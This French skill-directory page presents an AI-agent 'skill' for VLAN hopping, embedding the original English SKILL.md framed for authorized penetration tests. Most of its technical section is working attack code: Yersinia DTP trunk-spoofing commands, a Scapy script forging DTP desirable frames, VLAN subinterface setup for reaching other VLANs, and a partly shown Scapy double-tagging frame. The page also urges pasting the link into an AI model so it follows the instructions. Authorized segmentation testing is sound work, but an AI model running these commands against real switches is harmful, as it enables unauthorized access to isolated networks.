Aller au contenu
Skillpedia
Agents35k · #8328

performing-vlan-hopping-attack

Ce qu’il fait

Cette fonctionnalité simule des attaques de type VLAN hopping dans des réseaux de test autorisés. Elle vérifie que la segmentation du réseau par VLAN fonctionne correctement et que les ports réseau sont sécurisés.

Quand l’utiliser

  • ✓Pour tester la sécurité des réseaux utilisant des VLAN.
  • ✓Pour vérifier que les ports réseau sont correctement configurés.
  • ✓Pour démontrer les risques de sécurité aux équipes réseau.

Lien du skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-vlan-hopping-attack/SKILL.md

Copiez-le et collez-le dans votre IA (Claude, ChatGPT ou Cursor) en lui demandant de suivre les instructions.

Comment l’utiliser

Le plus simple : copiez le message et collez-le dans votre IA. Elle lit le skill et suit les instructions.

Message prêt à coller

Utilise ce skill pour m’aider : https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-vlan-hopping-attack/SKILL.md Lis le fichier SKILL.md de ce lien et suis ses instructions pour ma tâche.
Envie que votre IA trouve seule des skills comme celui-ci ?Installez le MCP gratuit de Skillpedia : une ligne, et elle cherche parmi 15 000+ skills avant chaque tâche.Installer en 1 minute →

Exemple de demande à votre IA

“Simule une attaque de type VLAN hopping sur le réseau de test.”

5 nouveaux skills par semaine. 1 minute de lecture.

Comment ça marche

L'agent tente de tromper les équipements réseau en leur faisant croire qu'il fait partie d'une liaison trunk, ou envoie des paquets à double étiquetage (double tagging) pour accéder à d'autres réseaux. Cela se fait à l'aide d'outils spécifiques dans un environnement contrôlé.

Contenu technique (SKILL.md original)

Texte original de l’auteur, en anglais, directement depuis GitHub.

Performing VLAN Hopping Attack

When to Use

  • Testing the effectiveness of VLAN-based network segmentation during authorized penetration tests
  • Validating that switch trunk port configurations prevent unauthorized VLAN access
  • Assessing whether 802.1Q tagging and native VLAN configurations resist double-tagging attacks
  • Demonstrating to network teams why proper switch hardening is critical for isolation between zones
  • Verifying that DTP (Dynamic Trunking Protocol) is disabled on all access ports

Do not use on production switches without explicit authorization and change management approval, against critical infrastructure VLANs (SCADA, medical devices) without safety controls, or as a denial-of-service vector.

Prerequisites

  • Written authorization specifying in-scope VLANs and switches for testing
  • Physical or virtual access to a switch access port on the target network
  • Yersinia, Scapy, and frogger VLAN hopping tools installed on Kali Linux
  • Understanding of 802.1Q trunking, DTP, and VLAN tagging at the frame level
  • Access to switch CLI for verification of configurations (read-only is sufficient)
  • Wireshark for capturing and verifying tagged frames

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Enumerate VLAN Configuration

# Identify the current VLAN assignment of the attacker port
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null

# Use CDP/LLDP to discover switch information
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
# Or use lldpd
lldpcli show neighbors

# If CDP is enabled, capture CDP frames
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'

# Use Yersinia to discover DTP and VTP information
sudo yersinia -G &
# Or command line:
sudo yersinia dtp -attack 0 -interface eth0
# This listens for DTP frames to learn trunk negotiation status

# Nmap to identify hosts on other VLANs (if routing exists)
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24

Step 2: Attempt Switch Spoofing (DTP Attack)

# Use Yersinia to send DTP frames and negotiate a trunk
sudo yersinia dtp -attack 1 -interface eth0

# This sends DTP desirable frames to convert the access port to a trunk
# If successful, the port becomes a trunk carrying all VLANs

# Alternatively, use Scapy to craft DTP frames
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *

# Send DTP desirable frame to negotiate trunk
dtp_frame = (
    Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
    SNAP(OUI=0x00000c, code=0x2004) /
    DTP(tlvlist=[
        DTPDomain(type=0x0001, domain=""),
        DTPStatus(type=0x0002, status=b"\x03"),  # Desirable
        DTPType(type=0x0003, dtptype=b"\xa5"),    # 802.1Q trunk
        DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
    ])
)

sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP desirable frames sent. Check if trunk is negotiated.")
PYEOF

# If trunk negotiation succeeds, verify by capturing tagged frames
sudo tcpdump -en -i eth0 'vlan' -c 10

# Create VLAN subinterfaces to access other VLANs
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up

sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip link set eth0.20 up

# Verify access to other VLANs
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1

Step 3: Attempt Double Tagging Attack

# Double tagging works when:
# 1. Attacker is on the native VLAN of the trunk
# 2. Target VLAN is different from the native VLAN
# 3. The switch strips the outer tag and forwards the inner tag

python3 << 'PYEOF'
from scapy.all import *

# Craft double-tagged frame
# Outer tag: Native VLAN (e.g., VLAN 1)
# Inner tag: Target VLAN (e.g., VLAN 20 - server VLAN)
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"

double_tagged = (
    Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
    Dot1Q(vlan=1) /       # Outer tag: native VLAN (will be stripped)
    Dot1Q(vlan=20) /      # Inner tag: target VLAN (will be forwarded)
    IP(dst=target_ip, src="10.10.20.99") /
    ICMP(type=8)           # Echo request
)


…
Questions fréquentes

Qu'est-ce que le VLAN hopping ?

C'est un type d'attaque réseau qui exploite des erreurs de configuration des équipements pour accéder à des réseaux (VLAN) auxquels on ne devrait pas avoir accès.

Puis-je l'utiliser sur mon réseau de production ?

Non, cette fonctionnalité ne doit être utilisée que dans des environnements de test autorisés, avec une permission explicite. Son utilisation en production peut provoquer de graves problèmes.

Quels outils sont utilisés ?

Des outils comme Yersinia, Scapy et frogger sont utilisés pour simuler les attaques dans un environnement contrôlé.

Détails

Description originale de l’auteur

Simulates VLAN hopping attacks using switch spoofing and 802.1Q double tagging techniques in authorized lab environments to test VLAN segmentation effectiveness and switch port security. Use during an authorized penetration test to validate trunk port hardening, confirm DTP is disabled on access ports, and demonstrate Layer 2 segmentation bypass risk to network teams.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularité

Étoiles GitHub
35k
Position au classement
#8328
Licence
Apache-2.0
Mis à jour
31/08/2026

Ce skill vous est-il utile ?

0

Connectez-vous pour voter.

Commentaires

  • …

Autres skills de ce dépôt

Skills similaires